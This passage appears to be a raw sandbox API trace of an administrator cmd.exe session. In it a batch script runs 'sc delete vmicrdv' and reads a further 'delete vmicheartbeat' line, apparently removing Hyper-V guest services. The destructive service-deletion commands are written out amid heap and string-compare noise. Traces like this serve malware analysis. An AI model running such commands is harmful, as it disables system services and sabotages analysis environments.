[0072.877] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicheartbeat\nface\n") returned 1 [0072.877] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.877] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.877] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicheartbeat\nface\n") returned 1 [0072.877] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.877] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.877] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te vmicheartbeat\nface\n") returned 1 [0072.877] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.877] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.877] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e vmicheartbeat\nface\n") returned 1 [0072.877] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.877] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.878] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" vmicheartbeat\nface\n") returned 1 [0072.878] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.878] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.878] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="vmicheartbeat\nface\n") returned 1 [0072.878] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.878] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.878] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="micheartbeat\nface\n") returned 1 [0072.878] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.878] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.878] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="icheartbeat\nface\n") returned 1 [0072.878] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.878] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.878] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="cheartbeat\nface\n") returned 1 [0072.878] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.878] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.878] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="reartbeat\nface\n") returned 1 [0072.878] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.878] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.878] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="dartbeat\nface\n") returned 1 [0072.879] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.879] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.879] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="vrtbeat\nface\n") returned 1 [0072.879] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.879] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.879] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="\ntbeat\nface\n") returned 1 [0072.879] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.879] GetFileType (hFile=0xb8) returned 0x3 [0072.879] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.879] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.879] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.879] GetFileType (hFile=0x120) returned 0x3 [0072.879] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.879] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicrdv\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicrdv\n", lpUsedDefaultChar=0x0) returned 19 [0072.879] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x12, lpOverlapped=0x0) returned 1 [0072.879] GetProcessHeap () returned 0x240000 [0072.879] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x25fb10 [0072.879] GetProcessHeap () returned 0x240000 [0072.879] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25fb10 | out: hHeap=0x240000) returned 1 [0072.879] GetProcessHeap () returned 0x240000 [0072.879] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0072.879] GetProcessHeap () returned 0x240000 [0072.879] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x258900 [0072.880] GetProcessHeap () returned 0x240000 [0072.880] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x256510 [0072.880] GetConsoleOutputCP () returned 0x1b5 [0072.881] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0072.881] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.881] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.881] GetProcessHeap () returned 0x240000 [0072.881] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0072.881] GetProcessHeap () returned 0x240000 [0072.881] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x36) returned 0x256550 [0072.881] GetProcessHeap () returned 0x240000 [0072.881] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0072.881] SetErrorMode (uMode=0x0) returned 0x1 [0072.881] SetErrorMode (uMode=0x1) returned 0x0 [0072.881] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0072.881] SetErrorMode (uMode=0x1) returned 0x1 [0072.881] GetProcessHeap () returned 0x240000 [0072.881] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0072.881] GetProcessHeap () returned 0x240000 [0072.881] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0072.881] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.882] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.882] GetProcessHeap () returned 0x240000 [0072.882] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x259db0 [0072.882] GetProcessHeap () returned 0x240000 [0072.882] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0072.882] GetProcessHeap () returned 0x240000 [0072.882] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0072.882] GetProcessHeap () returned 0x240000 [0072.882] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0072.882] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.882] GetProcessHeap () returned 0x240000 [0072.882] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0072.882] GetProcessHeap () returned 0x240000 [0072.882] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0072.882] GetProcessHeap () returned 0x240000 [0072.882] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0072.882] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.882] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0072.882] GetLastError () returned 0x2 [0072.882] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0072.882] GetLastError () returned 0x2 [0072.883] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.883] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0072.883] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0072.883] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0072.883] GetLastError () returned 0x2 [0072.883] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0072.883] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0072.883] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.883] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.883] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.883] GetProcessHeap () returned 0x240000 [0072.883] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x25c630 [0072.883] GetConsoleTitleW (in: lpConsoleTitle=0x25c640, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.884] GetProcessHeap () returned 0x240000 [0072.884] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c630, Size=0x9c) returned 0x25c630 [0072.884] GetProcessHeap () returned 0x240000 [0072.884] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c630) returned 0x9c [0072.884] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicrdv") returned 1 [0072.884] GetProcessHeap () returned 0x240000 [0072.884] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c630 | out: hHeap=0x240000) returned 1 [0072.884] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0072.884] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0072.884] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.884] GetProcessHeap () returned 0x240000 [0072.884] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.885] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.886] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.886] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.886] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.886] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.886] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.886] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.886] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.886] GetProcessHeap () returned 0x240000 [0072.886] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0072.886] GetProcessHeap () returned 0x240000 [0072.886] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2598a0 [0072.886] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicrdv", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicrdv", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete vmicrdv", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x87c, dwThreadId=0x88c)) returned 1 [0072.889] CloseHandle (hObject=0x50) returned 1 [0072.889] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.889] GetProcessHeap () returned 0x240000 [0072.889] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0072.889] GetEnvironmentStringsW () returned 0x25ba10* [0072.890] GetProcessHeap () returned 0x240000 [0072.890] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x258980 [0072.890] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0072.890] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0072.890] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0072.890] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0073.151] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0073.151] CloseHandle (hObject=0x54) returned 1 [0073.152] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0073.152] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.152] GetProcessHeap () returned 0x240000 [0073.152] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258980 | out: hHeap=0x240000) returned 1 [0073.152] GetEnvironmentStringsW () returned 0x25ba10* [0073.152] GetProcessHeap () returned 0x240000 [0073.152] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x258980 [0073.152] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0073.152] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.152] GetProcessHeap () returned 0x240000 [0073.152] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258980 | out: hHeap=0x240000) returned 1 [0073.152] GetEnvironmentStringsW () returned 0x25ba10* [0073.152] GetProcessHeap () returned 0x240000 [0073.152] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x258980 [0073.152] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0073.152] GetProcessHeap () returned 0x240000 [0073.152] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2598a0 | out: hHeap=0x240000) returned 1 [0073.152] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0073.152] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.153] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.153] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.153] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.153] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0073.154] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.154] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0073.154] GetConsoleOutputCP () returned 0x1b5 [0073.154] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0073.154] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.154] GetProcessHeap () returned 0x240000 [0073.154] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0073.154] GetProcessHeap () returned 0x240000 [0073.154] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0073.154] GetProcessHeap () returned 0x240000 [0073.154] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259db0 | out: hHeap=0x240000) returned 1 [0073.154] GetProcessHeap () returned 0x240000 [0073.154] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0073.155] GetProcessHeap () returned 0x240000 [0073.155] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0073.155] GetProcessHeap () returned 